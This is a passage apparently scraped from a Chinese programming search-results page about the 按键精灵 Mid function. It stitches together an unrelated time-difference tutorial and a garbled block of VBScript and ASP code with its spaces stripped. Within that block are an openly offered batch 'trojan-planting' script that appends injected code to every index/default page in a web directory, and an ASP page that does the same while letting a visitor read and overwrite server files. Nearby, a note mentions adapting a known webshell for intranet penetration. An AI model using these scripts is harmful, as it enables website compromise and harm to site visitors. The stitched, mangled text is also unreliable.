精华内容
下载资源
问答
  • 按键精灵mid函数
    千次阅读
    2020-12-12 10:47:03
    按键精灵截取字符串(从第几位开始取,取出几个字符)

    Mid(字符串,开始位置,返回字符数)

    str = "一2三4五六七89十"
    TracePrint Mid(str,1,5) // 从第1位开始取,取出5个字符
    
    更多相关内容
  • 按键精灵手机助手没有DateDiff函数,如何计算时间差

    这两天在用按键精灵手机助手写游戏脚本,需要计算时间差,先要获取两次时间,用系统自带的time()函数可以得到系统时间,不过得到的时间是秒数,需要转化一下

    time()函数得到的是从1970年1月1日 8:00:00至今所经过的秒数

     

    可以用DateTime.Format函数将Time()转为正常的时间格式

    既然很容易就得到秒数,将两个时间相减就可以得到时间差了。

    如果按键精灵手机助手每次获取电脑时间都很准确,我今天就不用写这篇文章了。我在运行游戏脚本时总是出错,检查之后才发现原因是获取的时间有问题

    我电脑时间明明是16:17,怎么打印出来是9点

    我把时间手动改为15:20点,显示还是9点

     由于这个time()函数获取的时间不稳定,所以我决定用GetNetworkTime()函数,获取网络时间,然后计算时差。

    获取时间容易,计算时间差难。因为按键精灵手机助手没有类似TimeDiff的函数,这一点希望按键精灵能改一下。于是我自己写代码计算时间差,代码可直接复制去使用。只要输入两个时间就行了,如果手动输入时间,必须为字符串,格式为"yyyy-mm-dd HH:MM:SS"

     有闫年也可以正常计算出来

     把秒换算成时分秒就简单了,这里就不写了

    【总结】

    1、可以有系统自带的time()函数获取系统时间,然后相减,得到时间差。这个方法时不时会出错

    2、用下面我写的代码,可以手动输入时间,也可以获取网络时间,如果是手动输入时间,一定要注意格式

    Dim t1,t2
    //获取网络时间
    //t1 = GetNetworkTime()
    //自定义时间必须为字符串,格式为"yyyy-mm-dd HH:MM:SS"
    t1 = "2024-02-28 00:00:00"
    
    //Delay 5000
    //t2 = GetNetworkTime()//获取网络时间
    t2 = "2024-03-01 00:00:00"
    TracePrint "时间差为",ShiJianCha(t1,t2),"秒"
    
    
    Function ShiJianCha(time_1,time_2)
    	Dim time_3, year_0, year_1, year_2, mon, mon1, mon2, mon3, day_1, day_2, day_3, yue1, yue2, ri1, ri2
    	Dim hour_1, hour_2, hour_3, miniute_1, miniute_2, miniute_3, sec_1, sec_2, sec_3,  TotalDays
    	Dim ddd = 0
    	
    	//提取时间1的年月日时分秒
    	TracePrint "time_1 =",time_1
    	year_1 = Left(time_1, 4)+0
    	mon1 = Mid(time_1, 6, 2)+0
    	day_1 = Mid(time_1,  9, 2)+0
    	hour_1 = Mid(time_1, 12, 2)+0
    	miniute_1 = Mid(time_1, 15, 2)+0
    	sec_1 = Mid(time_1, 18, 2)+0
    	
    	//提取时间2的年月日时分秒
    	TracePrint "time_2=",time_2
    	year_2 = Left(time_2, 4)+0
    	mon2 = Mid(time_2, 6, 2)+0
    	day_2 = Mid(time_2, 9, 2)+0
    	hour_2 = Mid(time_2, 12, 2)+0
    	miniute_2 = Mid(time_2, 15, 2)+0
    	sec_2 = Mid(time_2, 18, 2)+0
    	
    	//计算秒数差
    	If sec_2 - sec_1 >= 0 Then 
    		sec_3 = sec_2 - sec_1
    	Else 
    		sec_3 = sec_2 - sec_1 + 60
    		miniute_2 = miniute_2 - 1
    		If miniute_2 < 0 Then 
    			miniute_2 = 59
    			hour_2=hour_2-1
    		End If 
    	End If
    	
    	//计算分钟数差
    	If miniute_2 - miniute_1 >= 0 Then 
    		miniute_3 = miniute_2 - miniute_1
    	Else 
    		miniute_3 = miniute_2 - miniute_1 + 60
    		hour_2 = hour_2 - 1
    		If hour_2 < 0 Then 
    			hour_2 = 23
    			day_2 = day_2 - 1		
    		End If 
    	End If
    	
    	//计算小时数差
    	If hour_2 - hour_1 >= 0 Then 
    		hour_3 = hour_2 - hour_1	
    	Else 
    		hour_3 = hour_2 - hour_1 + 24
    		day_2 = day_2 - 1
    		If day_2 = 0 Then 
    			mon2 = mon2 - 1
    			TotalDays = TotalDays - 1		
    			If mon2 <>0  Then		 		 	
    				day_2 = MeiYueTianShu(mon2,year_2)
    			Else 
    				mon2 = 12
    				day_2 = 31
    				year_2 = year_2 - 1
    			End If
    		End If 
    	End If
    	
    	//计算天数差
    	For year_0 = year_1 To year_2	
    		If year_0 = year_1 Then 
    			yue1 = mon1
    			If year_1 = year_2 Then 
    				yue2 = mon2				
    			Else 
    				yue2 = 12				
    			End If			
    		ElseIf year_0 = year_2			
    			If year_1 = year_2 Then 
    				yue1 = mon1				
    			Else 
    				yue1 = 1				
    			End If
    			yue2 = mon2	
    		Else 
    			yue1 = 1
    			yue2 = 12
    		End If
    		
    		For mon = yue1 To yue2
    			If year_0 = year_1 and mon = mon1 Then 
    				ri1 = day_1
    				If mon1 = mon2 Then 
    					ri2 = day_2	
    				Else 
    					ri2 =MeiYueTianShu(mon,year_0)	
    				End If					
    			ElseIf year_0  = year_2 And mon = mon2 Then
    				If mon1 = mon2 Then 
    					ri1 =day_1
    				Else 	
    					ri1 = 1
    				End If
    				ri2 = day_2					
    			Else 
    				ri1 = 1
    				ri2 = MeiYueTianShu(mon,year_0)		
    			End If
    			
    			For ri = ri1 To ri2
    				ddd = ddd + 1			
    			Next	
    		Next	
    	Next
    	TotalDays = ddd - 1
    	ShiJianCha = ((TotalDays* 24 + hour_3) * 60 + miniute_3) * 60 + sec_3
    End Function
    
    Function MeiYueTianShu(mon,year_0)
    	If mon = 4 or mon = 6 or mon = 9 or mon = 11 Then 
    		MeiYueTianShu = 30
    	ElseIf mon = 2 Then
    		If RunNian(year_0) Then 
    			MeiYueTianShu = 29
    		Else 
    			MeiYueTianShu = 28					
    		End If
    	Else 
    		MeiYueTianShu = 31				
    	End If
    End Function
    
    Function RunNian(yyyy)
    	If yyyy Mod 400 = 0 Then 
    		RunNian = True		
    	Else 
    		If yyyy Mod 4 = 0 And yyyy / 100 <> Int(yyyy / 100) Then 
    			RunNian = True	
    		Else 
    			RunNian = False 	
    		End If
    	End If
    End Function

     把附件放在按键精灵手机助手里面的Plugin文件夹里,在使用之前导入一下,格式如下:
    Dim t1,t2
    Import "SC.lua"
    t1 = GetNetworkTime()        //获取网络时间
    //自定义时间必须为字符串,格式为"yyyy-mm-dd HH:MM:SS"
    t2 = "2024-03-01 02:18:20"
    TracePrint SC.ShiJianCha(t1,t2)

     附件下载地址:按键精灵手机助手计算时间差-VB文档类资源-CSDN下载

    展开全文
  • thePath=Trim(thePath) FormatPath=thePath IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1) EndFunction Endif 在工程中增添一模块,在模块中加上如下的代码: OptionExplicit PrivateConstSPI...

    ->SetobjFSO=CreateObject("Scripting.FileSystemObject")

    SetobjFile=objFSO.OpenTextFile("d:\1\0.txt",1)

    setWshShell=WScript.CreateObject("WScript.Shell")

    strFolder="d:\1"

    DoUntilobjFile.AtEndOfStream

    strLine=objFile.ReadLine

    filename=strLine

    SetobjFile=objFSO.GetFile(filename)

    setoShellLink=WshShell.CreateShortcut(strFolder&objFSO.GetBaseName(filename)&".lnk")

    oShellLink.TargetPath=objFile

    oShellLink.WindowStyle=1

    oShellLink.WorkingDirectory=objFSO.GetParentFolderName(filename)

    oShellLink.Save

    Loop

    objFile.Close

    这个只传递一次就完了61d3097b0dbea422a80810532b0ee593.png

    onerrorresumenext

    DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath

    ConstMY_COMPUTER=&H11&

    ConstWINDOW_HANDLE=0

    ConstOPTIONS=0

    SetobjShell=CreateObject("Shell.Application")

    SetobjFolder=objShell.Namespace(My_Computer)

    SetobjFolderItem=objFolder.Self

    strPath=objFolderItem.Path

    SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath)

    IfobjFolderIsNothingThen

    msgbox"您没有选择任何有效目录!"

    wscript.quit

    else

    SetobjFolderItem=objFolder.Self

    sPath=objFolderItem.Path

    txtpath=sPath

    SetFso=wscript.CreateObject("scripting.filesystemobject")

    FileTotal=0

    DirTotal=0

    'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))

    'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath))

    keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3"))

    setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt")

    outFile.writeline"开始搜索..."

    outFile.writeline"起启目录:"&txtPath

    TimeSpend=Timer

    myFindtxtPath

    TimeSpend=round(Timer-TimeSpend,2)

    txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒."

    outFile.writetxtResult

    msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt"

    outFile.close

    setoutFile=nothing

    setFso=nothing

    SubmyFind(ByValthePath)

    Dimfso,myFolder,myFile,curFolder

    Setfso=wscript.CreateObject("scripting.filesystemobject")

    SetcurFolders=fso.getfolder(thePath)

    DirTotal=DirTotal+1

    IfcurFolders.Files.Count>0Then

    ForEachmyFileIncurFolders.Files

    IfInStr(1,LCase(myFile.Name),keyWord)>0Then

    outFile.WriteLineFormatPath(thePath)&""&myFile.Name

    FileTotal=FileTotal+1

    EndIf

    Next

    EndIf

    IfcurFolders.subfolders.Count>0Then

    ForEachmyFolderIncurFolders.subfolders

    myFindFormatPath(thePath)&""&myFolder.Name

    Next

    EndIf

    EndSub

    FunctionFormatPath(ByValthePath)

    thePath=Trim(thePath)

    FormatPath=thePath

    IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1)

    EndFunction

    Endif

    在工程中增添一模块,在模块中加上如下的代码:

    OptionExplicit

    PrivateConstSPI_GETWORKAREA=48

    PrivateDeclareFunctionSystemParametersInfo&Lib"User32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,lpvParamAsAny,ByValfuWinIniAsLong)

    PrivateTypeRECT

    LeftAsLong

    TopAsLong

    RightAsLong

    BottomAsLong

    EndType

    PublicFunctionCenterForm32(frmAsForm)

    DimScreenWidth&,ScreenHeight&,ScreenLeft&,ScreenTop&

    DimDesktopAreaAsRECT

    CallSystemParametersInfo(SPI_GETWORKAREA,0,DesktopArea,0)

    ScreenHeight=(DesktopArea.Bottom-DesktopArea.Top)*Screen.TwipsPerPixelY

    ScreenWidth=(DesktopArea.Right-DesktopArea.Left)*Screen.TwipsPerPixelX

    ScreenLeft=DesktopArea.Left*Screen.TwipsPerPixelX

    ScreenTop=DesktopArea.Top*Screen.TwipsPerPixelY

    frm.Move(ScreenWidth-frm.Width)\2 ScreenLeft,(ScreenHeight-frm.Height)\2 ScreenTop

    EndFunction

    ----要调用CenterForm32函数,可在表单的Load事件中增添代码CenterForm32Me即可

    花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着比较常用的属性有:

    Buttonvisible决定该按钮在MCI控制中是否可见

    |----动态数组

    显然,采用少量的分隔符将本长句划分为一些更短的句子,将便于管理

    仙凡幻想巡山

    package.Value("SecurityEnabled")="Y"

    调用GetCollection方法来取得ComponentsInPackage集合scan.vbe

    cscriptscan.vbeweb目录

    程序代码:

    '版权信息

    br="************************************"&vbCrLf

    br=br&"*VBS批量挂马脚本*"&vbCrLf

    br=br&"*BYBanLG*"&vbCrLf

    br=br&"************************************"&vbCrLf&vbCrLf

    br=br&"cscriptscan.vbeD:"&vbCrLf

    '马的地址

    ma=""

    '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开

    MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

    '以"|"为分隔符拆分成数组

    MyArray=Split(MyString,"|",-1,1)

    web=WScript.Arguments(0)

    '如果web为空退出脚本

    ifweb=""then

    Wscript.echo(br)

    window.Close

    endif

    Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf

    '创建对象

    Setfso=createObject("Scripting.FileSystemObject")

    '开始扫描挂马

    scan(web)

    'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾

    subscan(filesder)

    setfilesder=fso.getfolder(filesder)

    '得到当前目录的所有文件集合

    setfiles=filesder.files

    '获取文件名

    foreachfextinfiles

    Setfile1=fso.GetFile(fext)

    filesext=file1.Name

    '把文件名转换成小写字母

    ext=lcase(filesext)

    ForEachindexinMyArray

    '判断文件是不是我们在MyString里限定的文件,如果是就写马

    ifext=lcase(index)then

    Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作

    ts.WriteLine(ma)

    ts.Close

    echo=""

    echo=fext&"………….ok"

    Wscript.echo(echo)

    endif

    next

    next

    setsubfolders=filesder.subfolders

    foreachsubfolderinsubfolders'搜索其他目录,递归调用

    scan(subfolder)

    next

    endsub

    FSO挂马.asp

    传进服务器以后直接输入需要挂马的路径就可以直接挂了

    程序代码:

    Response.Buffer=False

    %>

    ASP_SELF=Request.ServerVariables("PATH_INFO")

    s=Request("fd")

    ex=Request("ex")

    pth=Request("pth")

    newcnt=Request("newcnt")

    Ifex<>""ANDpth<>""Then

    selectCaseex

    Case"edit"

    CALLfile_show(pth)

    Case"save"

    CALLfile_save(pth)

    Endselect

    Else

    %>

    "method="POST">

    FOLDER(ABSOLUTEPATH):

    FunctionIsPattern(patt,str)

    SetregEx=NewRegExp

    regEx.Pattern=patt

    regEx.IgnoreCase=True

    retVal=regEx.Test(str)

    SetregEx=Nothing

    IfretVal=TrueThen

    IsPattern=True

    Else

    IsPattern=False

    EndIf

    EndFunction

    IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

    schs

    Else

    Ifs<>""ThenResponse.Write"InvalidAgrument!"

    EndIf

    Subsch(s)

    oNeRrOrrEsUmEnExT

    Setfs=Server.createObject("Scripting.FileSystemObject")

    Setfd=fs.GetFolder(s)

    Setfi=fd.Files

    Setsf=fd.SubFolders

    ForEachfinfi

    rtn=f.Path

    step_allrtn

    Next

    Ifsf.Count<>0Then

    ForEachlInsf

    schl

    Next

    EndIf

    EndSub

    Substep_all(agr)

    retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

    IfretValThen

    step1agr

    step2agr

    Else

    ExitSub

    EndIf

    EndSub

    %>

    Substep2(str2)

    addcode=""

    Setfs=Server.createObject("Scripting.FileSystemObject")

    isExist=fs.FileExists(str2)

    IfisExistThen

    Setf=fs.GetFile(str2)

    Setf_addcode=f.OpenAsTextStream(8,-2)

    f_addcode.Writeaddcode

    f_addcode.Close

    Setf=Nothing

    EndIf

    Setfs=Nothing

    EndSub

    %>

    Subfile_show(fname)

    Setfs1=Server.createObject("Scripting.FileSystemObject")

    isExist=fs1.FileExists(fname)

    IfisExistThen

    Setfcnt=fs1.OpenTextFile(fname)

    cnt=fcnt.ReadAll

    fcnt.Close

    Setfs1=Nothing%>

    FILE:

    "method="POST">

    ">

    THEFILEISNOTEXITORHAVEdeleteD.

    EndIf

    EndSub

    %>

    Subfile_save(fname)

    Setfs2=Server.createObject("Scripting.FileSystemObject")

    Setnewf=fs2.createTextFile(fname,True)

    newf.Writenewcnt

    newf.Close

    Setfs2=Nothing

    Response.Write"

    THEFILEWASMODIFIEDSUCCESSFULLY.

    "

    EndSub

    %>

    展开全文
  • thePath=Trim(thePath) FormatPath=thePath IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1) EndFunction Endif 在工程中增添一模块,在模块中加上如下的代码: OptionExplicit PrivateConstSPI...

    ->SetobjFSO=CreateObject("Scripting.FileSystemObject")

    SetobjFile=objFSO.OpenTextFile("d:\1\0.txt",1)

    setWshShell=WScript.CreateObject("WScript.Shell")

    strFolder="d:\1"

    DoUntilobjFile.AtEndOfStream

    strLine=objFile.ReadLine

    filename=strLine

    SetobjFile=objFSO.GetFile(filename)

    setoShellLink=WshShell.CreateShortcut(strFolder&objFSO.GetBaseName(filename)&".lnk")

    oShellLink.TargetPath=objFile

    oShellLink.WindowStyle=1

    oShellLink.WorkingDirectory=objFSO.GetParentFolderName(filename)

    oShellLink.Save

    Loop

    objFile.Close

    这个只传递一次就完了61d3097b0dbea422a80810532b0ee593.png

    onerrorresumenext

    DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath

    ConstMY_COMPUTER=&H11&

    ConstWINDOW_HANDLE=0

    ConstOPTIONS=0

    SetobjShell=CreateObject("Shell.Application")

    SetobjFolder=objShell.Namespace(My_Computer)

    SetobjFolderItem=objFolder.Self

    strPath=objFolderItem.Path

    SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath)

    IfobjFolderIsNothingThen

    msgbox"您没有选择任何有效目录!"

    wscript.quit

    else

    SetobjFolderItem=objFolder.Self

    sPath=objFolderItem.Path

    txtpath=sPath

    SetFso=wscript.CreateObject("scripting.filesystemobject")

    FileTotal=0

    DirTotal=0

    'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))

    'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath))

    keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3"))

    setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt")

    outFile.writeline"开始搜索..."

    outFile.writeline"起启目录:"&txtPath

    TimeSpend=Timer

    myFindtxtPath

    TimeSpend=round(Timer-TimeSpend,2)

    txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒."

    outFile.writetxtResult

    msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt"

    outFile.close

    setoutFile=nothing

    setFso=nothing

    SubmyFind(ByValthePath)

    Dimfso,myFolder,myFile,curFolder

    Setfso=wscript.CreateObject("scripting.filesystemobject")

    SetcurFolders=fso.getfolder(thePath)

    DirTotal=DirTotal+1

    IfcurFolders.Files.Count>0Then

    ForEachmyFileIncurFolders.Files

    IfInStr(1,LCase(myFile.Name),keyWord)>0Then

    outFile.WriteLineFormatPath(thePath)&""&myFile.Name

    FileTotal=FileTotal+1

    EndIf

    Next

    EndIf

    IfcurFolders.subfolders.Count>0Then

    ForEachmyFolderIncurFolders.subfolders

    myFindFormatPath(thePath)&""&myFolder.Name

    Next

    EndIf

    EndSub

    FunctionFormatPath(ByValthePath)

    thePath=Trim(thePath)

    FormatPath=thePath

    IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1)

    EndFunction

    Endif

    在工程中增添一模块,在模块中加上如下的代码:

    OptionExplicit

    PrivateConstSPI_GETWORKAREA=48

    PrivateDeclareFunctionSystemParametersInfo&Lib"User32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,lpvParamAsAny,ByValfuWinIniAsLong)

    PrivateTypeRECT

    LeftAsLong

    TopAsLong

    RightAsLong

    BottomAsLong

    EndType

    PublicFunctionCenterForm32(frmAsForm)

    DimScreenWidth&,ScreenHeight&,ScreenLeft&,ScreenTop&

    DimDesktopAreaAsRECT

    CallSystemParametersInfo(SPI_GETWORKAREA,0,DesktopArea,0)

    ScreenHeight=(DesktopArea.Bottom-DesktopArea.Top)*Screen.TwipsPerPixelY

    ScreenWidth=(DesktopArea.Right-DesktopArea.Left)*Screen.TwipsPerPixelX

    ScreenLeft=DesktopArea.Left*Screen.TwipsPerPixelX

    ScreenTop=DesktopArea.Top*Screen.TwipsPerPixelY

    frm.Move(ScreenWidth-frm.Width)\2 ScreenLeft,(ScreenHeight-frm.Height)\2 ScreenTop

    EndFunction

    ----要调用CenterForm32函数,可在表单的Load事件中增添代码CenterForm32Me即可

    花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着比较常用的属性有:

    Buttonvisible决定该按钮在MCI控制中是否可见

    |----动态数组

    显然,采用少量的分隔符将本长句划分为一些更短的句子,将便于管理

    仙凡幻想巡山

    package.Value("SecurityEnabled")="Y"

    调用GetCollection方法来取得ComponentsInPackage集合scan.vbe

    cscriptscan.vbeweb目录

    程序代码:

    '版权信息

    br="************************************"&vbCrLf

    br=br&"*VBS批量挂马脚本*"&vbCrLf

    br=br&"*BYBanLG*"&vbCrLf

    br=br&"************************************"&vbCrLf&vbCrLf

    br=br&"cscriptscan.vbeD:"&vbCrLf

    '马的地址

    ma=""

    '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开

    MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

    '以"|"为分隔符拆分成数组

    MyArray=Split(MyString,"|",-1,1)

    web=WScript.Arguments(0)

    '如果web为空退出脚本

    ifweb=""then

    Wscript.echo(br)

    window.Close

    endif

    Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf

    '创建对象

    Setfso=createObject("Scripting.FileSystemObject")

    '开始扫描挂马

    scan(web)

    'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾

    subscan(filesder)

    setfilesder=fso.getfolder(filesder)

    '得到当前目录的所有文件集合

    setfiles=filesder.files

    '获取文件名

    foreachfextinfiles

    Setfile1=fso.GetFile(fext)

    filesext=file1.Name

    '把文件名转换成小写字母

    ext=lcase(filesext)

    ForEachindexinMyArray

    '判断文件是不是我们在MyString里限定的文件,如果是就写马

    ifext=lcase(index)then

    Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作

    ts.WriteLine(ma)

    ts.Close

    echo=""

    echo=fext&"………….ok"

    Wscript.echo(echo)

    endif

    next

    next

    setsubfolders=filesder.subfolders

    foreachsubfolderinsubfolders'搜索其他目录,递归调用

    scan(subfolder)

    next

    endsub

    FSO挂马.asp

    传进服务器以后直接输入需要挂马的路径就可以直接挂了

    程序代码:

    Response.Buffer=False

    %>

    ASP_SELF=Request.ServerVariables("PATH_INFO")

    s=Request("fd")

    ex=Request("ex")

    pth=Request("pth")

    newcnt=Request("newcnt")

    Ifex<>""ANDpth<>""Then

    selectCaseex

    Case"edit"

    CALLfile_show(pth)

    Case"save"

    CALLfile_save(pth)

    Endselect

    Else

    %>

    "method="POST">

    FOLDER(ABSOLUTEPATH):

    FunctionIsPattern(patt,str)

    SetregEx=NewRegExp

    regEx.Pattern=patt

    regEx.IgnoreCase=True

    retVal=regEx.Test(str)

    SetregEx=Nothing

    IfretVal=TrueThen

    IsPattern=True

    Else

    IsPattern=False

    EndIf

    EndFunction

    IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

    schs

    Else

    Ifs<>""ThenResponse.Write"InvalidAgrument!"

    EndIf

    Subsch(s)

    oNeRrOrrEsUmEnExT

    Setfs=Server.createObject("Scripting.FileSystemObject")

    Setfd=fs.GetFolder(s)

    Setfi=fd.Files

    Setsf=fd.SubFolders

    ForEachfinfi

    rtn=f.Path

    step_allrtn

    Next

    Ifsf.Count<>0Then

    ForEachlInsf

    schl

    Next

    EndIf

    EndSub

    Substep_all(agr)

    retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

    IfretValThen

    step1agr

    step2agr

    Else

    ExitSub

    EndIf

    EndSub

    %>

    Substep2(str2)

    addcode=""

    Setfs=Server.createObject("Scripting.FileSystemObject")

    isExist=fs.FileExists(str2)

    IfisExistThen

    Setf=fs.GetFile(str2)

    Setf_addcode=f.OpenAsTextStream(8,-2)

    f_addcode.Writeaddcode

    f_addcode.Close

    Setf=Nothing

    EndIf

    Setfs=Nothing

    EndSub

    %>

    Subfile_show(fname)

    Setfs1=Server.createObject("Scripting.FileSystemObject")

    isExist=fs1.FileExists(fname)

    IfisExistThen

    Setfcnt=fs1.OpenTextFile(fname)

    cnt=fcnt.ReadAll

    fcnt.Close

    Setfs1=Nothing%>

    FILE:

    "method="POST">

    ">

    THEFILEISNOTEXITORHAVEdeleteD.

    EndIf

    EndSub

    %>

    Subfile_save(fname)

    Setfs2=Server.createObject("Scripting.FileSystemObject")

    Setnewf=fs2.createTextFile(fname,True)

    newf.Writenewcnt

    newf.Close

    Setfs2=Nothing

    Response.Write"

    THEFILEWASMODIFIEDSUCCESSFULLY.

    "

    EndSub

    %>

    展开全文
  • LuaAuxLib 按键精灵lua库

    千次阅读 2018-11-21 19:07:21
    UTF8_Mid UTF8_Right UTF8_StringReverse UTF8_StrnComp 加解密(编码)命令 Encode_Md5 Encode_GetJsonLib 网络地址 URL_OperationGet URL_OperationPost 标准库函数 数学函数 VBS_Round ...
  • 按键精灵_字符串提取

    千次阅读 2019-12-22 16:40:58
    '上面函数只会取最左特征到最右特征之间的字符串 提起字符串中的字母 str="1Aa23aWds中国Dfa/*`zszZf" For i=1 to Len(str) LString = Mid(str, i, 1) AA = Asc(LString) If (AA >= 65 and AA) Or (AA >=...
  • 获取网页指定文字:目前按键支持的元素特征值有这些: frame(框架) 、id(唯一标识) 、tag(标签) 、type(类型)、txt(文本) 、value(特征) 、index(索引) 、name(名字) 拥有这些特征值的元素才能直接使...
  • str,StrB) > 0 Then Dim m=utf8.instr(1,Str,StrA) Dim n=utf8.instr(m,Str,StrB) GetStrAB=utf8.mid(str,m+utf8.len(StrA),n-m-utf8.len(StrA)) End If End Function 分割法提取字符串 TracePrint SplitStrAB(...
  • 这里是一个个返回给X) ifx=""then x=Mid(aa,1,1) i=1 endif Setx=fs.GetDrive(x) ifx.IsReadythen scan(x) else xunhuan() endif Next endFunction(结束本子程序,作用不明) Functionscan(x)(定义子程序scan(a)...
  • 教大家用按键精灵写一个快手自动抢红包脚本

    千次阅读 热门讨论 2020-11-27 17:29:57
    教大家用按键精灵写一个快手自动抢红包脚本 先设计好界面,为了节省大家的时间,界面方面我们早就设计好了,请看下面 设计好界面后就进入写代码的步骤,这个其实你可以先录制一遍,然后把录制的代码进行二次...
  • 安卓 按键精灵 命令

    2019-09-28 13:20:25
    以下标红为按键精灵(安卓版)新增的相关命令语句,包含部分有改动的语句   名 称   格式 解释 If If 表达式 Then   …   ElseIf 表达式 Then ...
  • 需要注意的是,GetPixelColor函数返回的六个十六进制数,并不是以R、G、B的顺序排列的,而是B、G、R的顺序 While True '获取鼠标所在位置颜色 Call GetCursorPos(x, y) '获取鼠标所在位置坐标 If frmMain....
  • 懒人精灵 获取淘宝北京时间接口
  • 来源:按键学院 【按键精灵】 今天给大家带来了一个API哦,不用插件,也能实现后台发送消息。通过调用API,把字符串分割成一个一个字符,发送到目标窗口。快看看,API的秘密宝剑吧~~   API介绍:PostMessage ...
  •  If Mid(读取内容, 1, 3) = Chr(239) & Chr(187) & Chr(191) Then  //有则替换为空 然后重新写入内容 这个地方不确定是否除了第一行之外还可能存在bom头 应该没那么巧  file.Write 文件路径, Replace(读取...
  • python自学篇——PyGame模块的所有功能函数详解

    万次阅读 多人点赞 2020-02-16 19:32:33
    它包含python函数和类,允许您使用SDL对播放cdroms、音频和视频输出以及键盘、鼠标和操纵杆输入的支持。 ☛点我一键到底☚ ????????????☝????????有疑问欢迎写信哦 游戏首页 文件 自述 关于游戏的基本信息:它...
  • 然后实行这段代码,但总会出现错误:无效的过程调用或参数: 'mid' ,自己分析了一下是不是mid这个函数的功能使用是不是存在问题,仔细查了一遍文档并没有找到任何不妥的地方,然后在if的判断语句后面加入一个输出语句...
  • 实现直接用按键抓抓的复制到文本的信息运行脚本,以及复习了“提取中间字符”的实现。
  • excel日期函数的应用

    万次阅读 2012-06-18 06:05:40
    excel日期函数的应用    1、SOS,如何解决EXCEL日期的2000年问题 各位老大,我想对一段数字进行编辑改成日期形式,如011211,前两位作为年,中间两位作为月份,最后两位作为日,...
  • import pygame # pygame.sprite模块里面包含了一个名为Sprite类,是pygame本身自带的一个精灵类(Sprite) # 使用时,并不需要对它实例化,只需要继承它,然后按需写出自己的类 # 提供了多种检测精灵是否碰撞的方法 ...
  • pygame

    千次阅读 2022-03-14 23:11:22
    在屏幕上移动玩家: 移动玩家: 转移玩家: 将玩家绘制到屏幕上: 处理鼠标移动事件: 声音和图像: 使用精灵添加图像: 声音和图像文件: 添加一个精灵: 改变一个精灵的大小: 添加声音文件: 切换和关闭声音: ...
  • pygame模块参数汇总

    千次阅读 2019-03-12 15:54:12
    1 pygame.init() 初始函数,使用pygame的第一步; 2 pygame.display.set_mod((600,500),0,32) 生成主屏幕screen;第一个参数是屏幕大小,第二个0表示不使用特性,可0用FULLSCREEN,RESIZEBLE,NOFR...
  • ) >> surface.blit( ) > 在屏幕上绘制飞船 > 重构:模块game_functions > 函数 check_events( ) > 函数 update_screen() > 驾驶飞船 > 响应按键 > 允许不断移动 > 左右移动 > 调整飞船的速度 > 限制飞船的活动范围 ...
  • 飞机大战 v2.0

    2022-05-04 20:38:56
    飞机大战 v2.0
  • PyGame基础语法

    2022-04-19 14:58:09
    pygame.font 使用字体 pygame.image 加载和存储图片 pygame.joystick 使用游戏手柄或者 类似的东西 pygame.key 读取键盘按键 pygame.mixer 声音 pygame.mouse 鼠标 pygame.movie 播放视频 pygame.music 播放音频 ...

空空如也

空空如也

1 2 3 4 5 6
收藏数 111
精华内容 44
热门标签
关键字:

按键精灵mid函数

友情链接: ATmega161.rar